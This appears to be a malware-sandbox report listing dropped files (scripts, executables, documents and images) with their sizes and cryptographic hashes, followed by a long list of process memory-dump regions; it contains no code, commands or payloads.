C:\Users\Admin\AppData\Local\Temp\‎   ‌‍ \Common Files\Music\RedoUnpublish.csv

Filesize
612KB

MD5
9828fdbc5232b3af724290229dfc104b

SHA1
fb9b2a72c4b24786ce2223557e52d418d5d10f18

SHA256
5d6aca40edafb8aed661db320cd3504c279cd0dce0985456ee1d95e63ee0cce4

SHA512
35f3676cdf7874875b41f8758ba919283157f990b747213917f466bc719ff853011877dc87ad19c6d125d55d81df2e126f1050f8e5af5b840486a71b22ea6cdc

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎   ‌‍ \Common Files\Music\ResizeGet.docx

Filesize
658KB

MD5
909d917b4c7626013ae0ef2cd36a6349

SHA1
58755cebc829a59b0dd0b0a52fe5a9ad45405c0a

SHA256
6f8c1c15b47186b3ac99aa2ade72ebb8d68425c7f45d310036a9de32c5896048

SHA512
7e20332c1be5fbf8056eb66a7f6a6d39db2b1188cf08cc1c9068a66aae81c07edb09225a13a0491a1bb33166fe4f87b7dcaf8c7c29b37dae7531d0414f122712

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎   ‌‍ \Common Files\Pictures\JoinEnable.png

Filesize
447KB

MD5
6880e57cc162aeec1db72a602fdf3fa9

SHA1
c39e107a1eac31084a386cf792bd070cab5730fd

SHA256
500e738075a7a25d09fd8c9e5996d3e654326e0b705dad19de073c78a8c2d529

SHA512
726c5613b7c3e197867a7873d15163b7292982aefe102fb961aa10d75ff2f667691c9a31d2c2dbe773bca83aeb615f9bc497dd57cf593d1c821f77ef15e6e6ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎   ‌‍ \Common Files\Pictures\My Wallpaper.jpg

Filesize
24KB

MD5
a51464e41d75b2aa2b00ca31ea2ce7eb

SHA1
5b94362ac6a23c5aba706e8bfd11a5d8bab6097d

SHA256
16d5506b6663085b1acd80644ffa5363c158e390da67ed31298b85ddf0ad353f

SHA512
b2a09d52c211e7100e3e68d88c13394c64f23bf2ec3ca25b109ffb1e1a96a054f0e0d25d2f2a0c2145616eabc88c51d63023cef5faa7b49129d020f67ab0b1ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎   ‌‍ \Common Files\Pictures\PublishCompress.jpeg

Filesize
746KB

MD5
04f256fadb5226c1224bae087f616320

SHA1
1b95efb789aac8f6bb0fdee56501f20e7537f3a2

SHA256
e60a545944590aa4de83451d7135a539a38c0ed3c5cf78f6ea660516ffb19f13

SHA512
eb691e13f3d3d792141c589129d27f8529b26bb28f962dd75429b345776ef676bdefb4089b1d20511e4f187ce01e4ce56310ab823b3a7d9508a108ff0cb54685

Download Submit
C:\Users\Admin\Downloads\wtc.cmd

Filesize
1KB

MD5
b882b7c25a0b218852d38ed86a6d81b1

SHA1
23e3589db660308cfeef7c01ee95e850cf606987

SHA256
11fabb76c012ee924cc270f56cb2ddfd792fb53ddf3d4a504909107c74abf4fb

SHA512
7c26d635ad6c4a93dc5da23cd84a5bfa312ac7260f81d9392908572eb621890c2cc45ea5fc37eef5d16ab9717ef07bfc6d7ff63a000d49b2fc618bd44d3b12a0

Download Submit
C:\Users\Admin\Downloads\wtc.cmd:Zone.Identifier

Filesize
62B

MD5
96dca3a47feedd34a9ff29e2ed614c16

SHA1
c6a58e344bd553395c80feb92384eaff59a27b44

SHA256
6181e32505cd37528625bff0ccd47125171ea7db9bda0fd2f2ff165464959d8d

SHA512
f051266aa8ea906b6340dbf7bad59572166966c2ac879880a6c535c9410070be3b6edc0f8990d08126804abd9e8d52dda05bd086da8a497f00850381f41fb7ca

Download Submit
C:\Users\Public\PublicProfile.ps1

Filesize
522B

MD5
3dbaab581dbdc2c6ee5c229c51bc5a11

SHA1
a929a8e2af7d8665e18b726a9e57525a22d1f106

SHA256
1c5909314a588e982c9a97189b0ca390b451aa6c1394b873cbdcbbc603dcb1bb

SHA512
097f757028da31e8149925df666b63db969697f53a918253de7ab4df132fc2d156bcbb9c0b5131a0fa75cd36796c499768e6fce8ee3b96a36d59b656a29721bd

Download Submit
C:\Users\Public\Secure.au3

Filesize
521KB

MD5
4cbc162cad8e43e33cdad6c2815a961c

SHA1
f319bf0efd6d05a5b04f5faabb6a38f1bc7a462a

SHA256
a21298ebf9ebad086d7ed961cf69f3a3ed90486439235dd4a8aab1374ce0c7c8

SHA512
8a2238dbf12311fcb60e02e83d223029bf16dc6ce40c40c007403ef680f5feae7e6151e1de8f2b58f285b947e8f69a70a2fa66085e456c09f77d5cf9df0992a6

Download Submit
C:\l\winb.exe

Filesize
7.8MB

MD5
aa173ca6f04f4b75c13b89c45dbe2695

SHA1
2240de61b1bc93f077354341d24887bd06638ae3

SHA256
2be2a1b3619f29c42aec5140a7879961b431584e79181a185b7a10ce88c818f6

SHA512
633ae202a27c59d92bf15a05244043eaca3cda64bf7b1c82f85e689b267535d971c7b5c72ccaa6982e5a746daa224ee0108add71c49cd41d8ad2dee3e3d409f1

Download Submit
C:\l\winup.zip

Filesize
8.1MB

MD5
1e89e8f1986263f63f9ba62d47e3d80d

SHA1
2f28b894de4a6e9e68b573bd208f494533b6713e

SHA256
34a5ba9dfaf17b6917947b609f4fb157af6abaead9bfbacc98834fbdc225f38d

SHA512
3b2979bfb239ba6c9f6d23f59fd163387f116cf534aa64e7e9f03cba2858b8657426cdbd090dfbd5902a6f0ec9f70c3a384b327226a6479ca875c2786de2241e

Download Submit
C:\l\wts.exe

Filesize
993KB

MD5
ac8bdd834197b89f1c32acc853f22263

SHA1
66ec621dd0607b657a9d2e23fd13d36f33ca9310

SHA256
f52e1fc0b9916b143e15c656c01ea72ce73383e90eae87f4232c3ae962d44dd8

SHA512
879236678ceae9ea8e674a3ac6acb7e381a59d1162542419298d951f6ff16d87ad0fef964d6ff511c474c6402506d42ed8d1dca7793428c029d763778c2b93dd

Download Submit
memory/1124-782-0x0000020C29F40000-0x0000020C29F48000-memory.dmp

Filesize
32KB

Download
memory/1720-958-0x00007FFEC6830000-0x00007FFEC6D63000-memory.dmp

Filesize
5.2MB

Download
memory/1720-949-0x00007FFEC6E40000-0x00007FFEC6E74000-memory.dmp

Filesize
208KB

Download
memory/1720-941-0x00007FFEDFD00000-0x00007FFEDFD27000-memory.dmp

Filesize
156KB

Download
memory/1720-942-0x00007FFEE9510000-0x00007FFEE951F000-memory.dmp

Filesize
60KB

Download
memory/1720-943-0x00007FFEDB940000-0x00007FFEDB96B000-memory.dmp

Filesize
172KB

Download
memory/1720-944-0x00007FFEDD3F0000-0x00007FFEDD409000-memory.dmp

Filesize
100KB

Download
memory/1720-945-0x00007FFEC7280000-0x00007FFEC72A5000-memory.dmp

Filesize
148KB

Download
memory/1720-946-0x00007FFEC6E80000-0x00007FFEC6FFF000-memory.dmp

Filesize
1.5MB

Download
memory/1720-947-0x00007FFECB7A0000-0x00007FFECB7B9000-memory.dmp

Filesize
100KB

Download
memory/1720-948-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp

Filesize
52KB

Download
memory/1720-955-0x00007FFEC6D70000-0x00007FFEC6E3E000-memory.dmp

Filesize
824KB

Download
memory/1720-956-0x00007FFEE2F10000-0x00007FFEE2F1D000-memory.dmp

Filesize
52KB

Download
memory/1720-957-0x00007FFEC76F0000-0x00007FFEC7704000-memory.dmp

Filesize
80KB

Download
memory/1720-959-0x00007FFEC6770000-0x00007FFEC6823000-memory.dmp

Filesize
716KB

Download
memory/1720-940-0x00007FFECE3D0000-0x00007FFECEA33000-memory.dmp

Filesize
6.4MB

Download
memory/1720-626-0x00007FFECE3D0000-0x00007FFECEA33000-memory.dmp

Filesize
6.4MB

Download
memory/1720-633-0x00007FFEE9510000-0x00007FFEE951F000-memory.dmp

Filesize
60KB

Download
memory/1720-632-0x00007FFEDFD00000-0x00007FFEDFD27000-memory.dmp

Filesize
156KB

Download
memory/1720-911-0x00007FFEC6E80000-0x00007FFEC6FFF000-memory.dmp

Filesize
1.5MB

Download
memory/1720-641-0x00007FFEDB940000-0x00007FFEDB96B000-memory.dmp

Filesize
172KB

Download
memory/1720-642-0x00007FFEDD3F0000-0x00007FFEDD409000-memory.dmp

Filesize
100KB

Download
memory/1720-643-0x00007FFEC7280000-0x00007FFEC72A5000-memory.dmp

Filesize
148KB

Download
memory/1720-644-0x00007FFEC6E80000-0x00007FFEC6FFF000-memory.dmp

Filesize
1.5MB

Download
memory/1720-645-0x00007FFECB7A0000-0x00007FFECB7B9000-memory.dmp

Filesize
100KB

Download
memory/1720-646-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp

Filesize
52KB

Download
memory/1720-647-0x00007FFEC6E40000-0x00007FFEC6E74000-memory.dmp

Filesize
208KB

Download
memory/1720-650-0x00007FFEC6830000-0x00007FFEC6D63000-memory.dmp

Filesize
5.2MB

Download
memory/1720-649-0x00007FFEC6D70000-0x00007FFEC6E3E000-memory.dmp

Filesize
824KB

Download
memory/1720-648-0x00007FFECE3D0000-0x00007FFECEA33000-memory.dmp

Filesize
6.4MB

Download
memory/1720-652-0x00007FFEDFD00000-0x00007FFEDFD27000-memory.dmp

Filesize
156KB

Download
memory/1720-656-0x00007FFEE2F10000-0x00007FFEE2F1D000-memory.dmp

Filesize
52KB

Download
memory/1720-655-0x00007FFEDB940000-0x00007FFEDB96B000-memory.dmp

Filesize
172KB

Download
memory/1720-659-0x00007FFEC6770000-0x00007FFEC6823000-memory.dmp

Filesize
716KB

Download
memory/1720-654-0x00007FFEC76F0000-0x00007FFEC7704000-memory.dmp

Filesize
80KB

Download
memory/1720-905-0x00007FFECE3D0000-0x00007FFECEA33000-memory.dmp

Filesize
6.4MB

Download
memory/1720-651-0x000001FBB6840000-0x000001FBB6D73000-memory.dmp

Filesize
5.2MB

Download
memory/1720-904-0x000001FBB6840000-0x000001FBB6D73000-memory.dmp

Filesize
5.2MB

Download
memory/1720-687-0x00007FFEC7280000-0x00007FFEC72A5000-memory.dmp

Filesize
148KB

Download
memory/1720-903-0x00007FFEC6D70000-0x00007FFEC6E3E000-memory.dmp

Filesize
824KB

Download
memory/1720-884-0x00007FFEC6830000-0x00007FFEC6D63000-memory.dmp

Filesize
5.2MB

Download
memory/1720-883-0x00007FFEC6E40000-0x00007FFEC6E74000-memory.dmp

Filesize
208KB

Download
memory/1720-776-0x00007FFEC6E80000-0x00007FFEC6FFF000-memory.dmp

Filesize
1.5MB

Download
memory/2116-58-0x00007FFECAC63000-0x00007FFECAC65000-memory.dmp

Filesize
8KB

Download
memory/2116-59-0x000001AD5FE60000-0x000001AD5FE82000-memory.dmp

Filesize
136KB

Download
memory/2116-68-0x00007FFECAC60000-0x00007FFECB722000-memory.dmp

Filesize
10.8MB

Download
memory/2116-69-0x00007FFECAC60000-0x00007FFECB722000-memory.dmp

Filesize
10.8MB

Download
memory/2116-72-0x00007FFECAC60000-0x00007FFECB722000-memory.dmp

Filesize
10.8MB

Download
memory/2188-123-0x00000206CC020000-0x00000206CC032000-memory.dmp

Filesize
72KB

Download
memory/2188-122-0x00000206CBFF0000-0x00000206CBFFA000-memory.dmp

Filesize
40KB

Download
memory/3372-266-0x00007FFEC1F80000-0x00007FFEC2033000-memory.dmp

Filesize
716KB

Download
memory/3372-560-0x00007FFEE0090000-0x00007FFEE009D000-memory.dmp

Filesize
52KB

Download
memory/3372-255-0x00007FFEC5BD0000-0x00007FFEC5C9E000-memory.dmp

Filesize
824KB

Download
memory/3372-254-0x00007FFEC60C0000-0x00007FFEC60E7000-memory.dmp

Filesize
156KB

Download
memory/3372-253-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp

Filesize
6.4MB

Download
memory/3372-518-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp

Filesize
6.4MB

Download
memory/3372-245-0x00007FFECB7D0000-0x00007FFECB7E9000-memory.dmp

Filesize
100KB

Download
memory/3372-554-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp

Filesize
1.5MB

Download
memory/3372-241-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp

Filesize
1.5MB

Download
memory/3372-231-0x00007FFECB7F0000-0x00007FFECB815000-memory.dmp

Filesize
148KB

Download
memory/3372-229-0x00007FFECB820000-0x00007FFECB839000-memory.dmp

Filesize
100KB

Download
memory/3372-227-0x00007FFEDCFE0000-0x00007FFEDD00B000-memory.dmp

Filesize
172KB

Download
memory/3372-488-0x00007FFEC5BD0000-0x00007FFEC5C9E000-memory.dmp

Filesize
824KB

Download
memory/3372-548-0x00007FFEC1360000-0x00007FFEC1893000-memory.dmp

Filesize
5.2MB

Download
memory/3372-201-0x00007FFEE2F10000-0x00007FFEE2F1F000-memory.dmp

Filesize
60KB

Download
memory/3372-199-0x00007FFEC60C0000-0x00007FFEC60E7000-memory.dmp

Filesize
156KB

Download
memory/3372-257-0x00007FFEC1360000-0x00007FFEC1893000-memory.dmp

Filesize
5.2MB

Download
memory/3372-259-0x00007FFEC65D0000-0x00007FFEC65E4000-memory.dmp

Filesize
80KB

Download
memory/3372-261-0x00007FFEE0090000-0x00007FFEE009D000-memory.dmp

Filesize
52KB

Download
memory/3372-508-0x00007FFEC1360000-0x00007FFEC1893000-memory.dmp

Filesize
5.2MB

Download
memory/3372-273-0x00007FFECB7F0000-0x00007FFECB815000-memory.dmp

Filesize
148KB

Download
memory/3372-489-0x000001AF63630000-0x000001AF63B63000-memory.dmp

Filesize
5.2MB

Download
memory/3372-256-0x000001AF63630000-0x000001AF63B63000-memory.dmp

Filesize
5.2MB

Download
memory/3372-559-0x00007FFEC65D0000-0x00007FFEC65E4000-memory.dmp

Filesize
80KB

Download
memory/3372-558-0x00007FFEC5BD0000-0x00007FFEC5C9E000-memory.dmp

Filesize
824KB

Download
memory/3372-249-0x00007FFEC63B0000-0x00007FFEC63E4000-memory.dmp

Filesize
208KB

Download
memory/3372-392-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp

Filesize
1.5MB

Download
memory/3372-524-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp

Filesize
1.5MB

Download
memory/3372-485-0x00007FFEC63B0000-0x00007FFEC63E4000-memory.dmp

Filesize
208KB

Download
memory/3372-557-0x00007FFEC63B0000-0x00007FFEC63E4000-memory.dmp

Filesize
208KB

Download
memory/3372-556-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp

Filesize
52KB

Download
memory/3372-555-0x00007FFECB7D0000-0x00007FFECB7E9000-memory.dmp

Filesize
100KB

Download
memory/3372-194-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp

Filesize
6.4MB

Download
memory/3372-561-0x00007FFEC1F80000-0x00007FFEC2033000-memory.dmp

Filesize
716KB

Download
memory/3372-549-0x00007FFEE2F10000-0x00007FFEE2F1F000-memory.dmp

Filesize
60KB

Download
memory/3372-533-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp

Filesize
6.4MB

Download
memory/3372-550-0x00007FFEC60C0000-0x00007FFEC60E7000-memory.dmp

Filesize
156KB

Download
memory/3372-551-0x00007FFEDCFE0000-0x00007FFEDD00B000-memory.dmp

Filesize
172KB

Download
memory/3372-552-0x00007FFECB820000-0x00007FFECB839000-memory.dmp

Filesize
100KB

Download
memory/3372-553-0x00007FFECB7F0000-0x00007FFECB815000-memory.dmp

Filesize
148KB

Download
memory/3372-246-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp

Filesize
52KB

Download
memory/3568-660-0x0000000000D70000-0x0000000000D80000-memory.dmp

Filesize
64KB

Download
memory/3568-871-0x0000000005E60000-0x0000000005E6A000-memory.dmp

Filesize
40KB

Download
memory/3568-686-0x00000000057C0000-0x000000000585C000-memory.dmp

Filesize
624KB

Download
memory/3568-870-0x0000000005A10000-0x0000000005AA2000-memory.dmp

Filesize
584KB

Download
memory/3568-869-0x0000000005960000-0x00000000059C6000-memory.dmp

Filesize
408KB

Download
memory/3568-868-0x0000000005FC0000-0x0000000006566000-memory.dmp

Filesize
5.6MB

Download
memory/4632-1322-0x00007FFECCED0000-0x00007FFECD533000-memory.dmp

Filesize
6.4MB

Download
memory/5272-1023-0x00007FFEDF270000-0x00007FFEDF3EF000-memory.dmp

Filesize
1.5MB

Download
memory/5272-1025-0x00007FFEE9510000-0x00007FFEE951D000-memory.dmp

Filesize
52KB

Download
memory/5272-1020-0x00007FFEDFF00000-0x00007FFEDFF2B000-memory.dmp

Filesize
172KB

Download
memory/5272-1030-0x000001CDB5FD0000-0x000001CDB6503000-memory.dmp

Filesize
5.2MB

Download
memory/5272-1015-0x00007FFEE9760000-0x00007FFEE976F000-memory.dmp

Filesize
60KB

Download
memory/5272-1022-0x00007FFEDFD00000-0x00007FFEDFD25000-memory.dmp

Filesize
148KB

Download
memory/5272-1021-0x00007FFEDFD30000-0x00007FFEDFD49000-memory.dmp

Filesize
100KB

Download
memory/5272-1024-0x00007FFEDF1E0000-0x00007FFEDF1F9000-memory.dmp

Filesize
100KB

Download
memory/5272-1013-0x00007FFECE3D0000-0x00007FFECEA33000-memory.dmp

Filesize
6.4MB

Download
memory/5272-1026-0x00007FFEDD420000-0x00007FFEDD454000-memory.dmp

Filesize
208KB

Download
memory/5272-1028-0x00007FFEDFF30000-0x00007FFEDFF57000-memory.dmp

Filesize
156KB

Download
memory/5272-1029-0x00007FFECDB40000-0x00007FFECDC0E000-memory.dmp

Filesize
824KB

Download
memory/5272-1014-0x00007FFEDFF30000-0x00007FFEDFF57000-memory.dmp

Filesize
156KB

Download
memory/5272-1027-0x00007FFECE3D0000-0x00007FFECEA33000-memory.dmp

Filesize
6.4MB

Download
memory/5612-401-0x000002B09F270000-0x000002B09F278000-memory.dmp

Filesize
32KB

Download